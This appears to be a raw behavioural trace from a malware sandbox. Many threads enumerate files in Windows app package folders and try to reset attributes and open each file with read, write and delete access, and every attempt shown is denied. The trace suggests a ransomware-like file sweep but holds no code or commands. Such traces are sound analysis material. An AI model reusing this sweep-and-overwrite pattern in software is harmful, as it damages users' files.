	[0091.835] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d37b231, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d37b231, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageWideTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 0
	[0091.835] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0091.835] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030f10) returned 1
	[0091.835] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89108) returned 1
	[0091.835] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717288) returned 1
	[0091.835] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1d0bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 0
	[0091.835] FindClose (in: hFindFile=0x2dacbf8 | out: hFindFile=0x2dacbf8) returned 1
	[0091.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4745ed8) returned 1
	[0091.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8a4e8) returned 1
	[0091.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e470d8) returned 1

Thread:
	id = 547
	os_tid = 0x17b4

	[0077.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x122) returned 0x2e46830
	[0077.447] wcscpy (in: _Dest=0x2e46830, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.447] wcscat (in: _Dest=0x2e46830, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.447] wcscat (in: _Dest=0x2e46830, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4746610
	[0077.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4746610 | out: lpFindFileData=0x4746610*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9355ef2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aee8
	[0085.518] wcscmp (_String1=".", _String2=".") returned 0
	[0085.518] FindNextFileW (in: hFindFile=0x477aee8, lpFindFileData=0x4746610 | out: lpFindFileData=0x4746610*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9355ef2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.518] wcscmp (_String1="..", _String2=".") returned 1
	[0085.518] wcscmp (_String1="..", _String2="..") returned 0
	[0085.518] FindNextFileW (in: hFindFile=0x477aee8, lpFindFileData=0x4746610 | out: lpFindFileData=0x4746610*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9355ef2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0085.518] FindClose (in: hFindFile=0x477aee8 | out: hFindFile=0x477aee8) returned 1
	[0085.518] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4746610) returned 1
	[0085.518] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e46830) returned 1
	[0085.518] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e471c8) returned 1

Thread:
	id = 548
	os_tid = 0x17b8

	[0077.448] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0081.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.856] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.856] GetLastError () returned 0x5
	[0081.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.856] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e472f0) returned 1

Thread:
	id = 549
	os_tid = 0x17bc

	[0077.448] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0081.977] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0081.977] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.253] GetLastError () returned 0x5
	[0085.253] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0085.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6ff90) returned 1

Thread:
	id = 550
	os_tid = 0x17c0

	[0077.449] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0080.040] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0080.040] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0080.040] GetLastError () returned 0x5
	[0080.040] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0080.040] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e123f8) returned 1

Thread:
	id = 551
	os_tid = 0x17c4

	[0077.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e11090
	[0077.451] wcscpy (in: _Dest=0x2e11090, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.451] wcscat (in: _Dest=0x2e11090, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0077.451] wcscat (in: _Dest=0x2e11090, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0077.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47463a8
	[0077.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x47463a8 | out: lpFindFileData=0x47463a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08a798, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87d78
	[0081.732] wcscmp (_String1=".", _String2=".") returned 0
	[0081.732] FindNextFileW (in: hFindFile=0x2d87d78, lpFindFileData=0x47463a8 | out: lpFindFileData=0x47463a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08a798, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.732] wcscmp (_String1="..", _String2=".") returned 1
	[0081.732] wcscmp (_String1="..", _String2="..") returned 0
	[0081.732] FindNextFileW (in: hFindFile=0x2d87d78, lpFindFileData=0x47463a8 | out: lpFindFileData=0x47463a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0081.732] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0081.732] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0081.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x47518b0
	[0081.732] wcscpy (in: _Dest=0x47518b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0081.732] wcscat (in: _Dest=0x47518b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0081.732] wcscat (in: _Dest=0x47518b0, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.951] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.956] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.956] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.956] GetLastError () returned 0x5
	[0091.956] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.956] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47518b0) returned 1
	[0091.956] FindNextFileW (in: hFindFile=0x2d87d78, lpFindFileData=0x47463a8 | out: lpFindFileData=0x47463a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.956] FindClose (in: hFindFile=0x2d87d78 | out: hFindFile=0x2d87d78) returned 1
	[0091.956] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47463a8) returned 1
	[0091.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11090) returned 1
	[0091.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e3a8) returned 1

Thread:
	id = 552
	os_tid = 0x17c8

	[0077.452] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0081.735] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0081.735] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.977] GetLastError () returned 0x5
	[0081.977] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0081.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c8b0) returned 1

Thread:
	id = 553
	os_tid = 0x17cc

	[0077.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cb4e0
	[0077.453] wcscpy (in: _Dest=0x47cb4e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.453] wcscat (in: _Dest=0x47cb4e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0077.453] wcscat (in: _Dest=0x47cb4e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0077.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4747bb8
	[0077.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x4747bb8 | out: lpFindFileData=0x4747bb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd53994f2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08aff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd53994f2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70700
	[0079.444] wcscmp (_String1=".", _String2=".") returned 0
	[0079.444] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x4747bb8 | out: lpFindFileData=0x4747bb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd53994f2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08aff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd53994f2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.445] wcscmp (_String1="..", _String2=".") returned 1
	[0079.445] wcscmp (_String1="..", _String2="..") returned 0
	[0079.445] FindNextFileW (in: hFindFile=0x2d70700, lpFindFileData=0x4747bb8 | out: lpFindFileData=0x4747bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53994f2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd53994f2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd53994f2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4f62, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrandingLogo.png", cAlternateFileName="")) returned 1
	[0079.445] wcscmp (_String1="BrandingLogo.png", _String2=".") returned 1
	[0079.445] wcscmp (_String1="BrandingLogo.png", _String2="..") returned 1
	[0079.445] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4769108
	[0079.445] wcscpy (in: _Dest=0x4769108, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets"
	[0079.445] wcscat (in: _Dest=0x4769108, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0079.445] wcscat (in: _Dest=0x4769108, _Source="BrandingLogo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\BrandingLogo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\BrandingLogo.png"

Thread:
	id = 554
	os_tid = 0x17d0

	[0077.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x47cb0f8
	[0077.454] wcscpy (in: _Dest=0x47cb0f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ"
	[0077.454] wcscat (in: _Dest=0x47cb0f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\"
	[0077.454] wcscat (in: _Dest=0x47cb0f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\*"
	[0077.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4746878
	[0077.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\*", lpFindFileData=0x4746878 | out: lpFindFileData=0x4746878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08b876, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87db8
	[0081.732] wcscmp (_String1=".", _String2=".") returned 0
	[0081.733] FindNextFileW (in: hFindFile=0x2d87db8, lpFindFileData=0x4746878 | out: lpFindFileData=0x4746878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08b876, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.733] wcscmp (_String1="..", _String2=".") returned 1
	[0081.733] wcscmp (_String1="..", _String2="..") returned 0
	[0081.733] FindNextFileW (in: hFindFile=0x2d87db8, lpFindFileData=0x4746878 | out: lpFindFileData=0x4746878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08c849, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0081.733] wcscmp (_String1="en-gb", _String2=".") returned 1
	[0081.733] wcscmp (_String1="en-gb", _String2="..") returned 1
	[0081.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4717a60
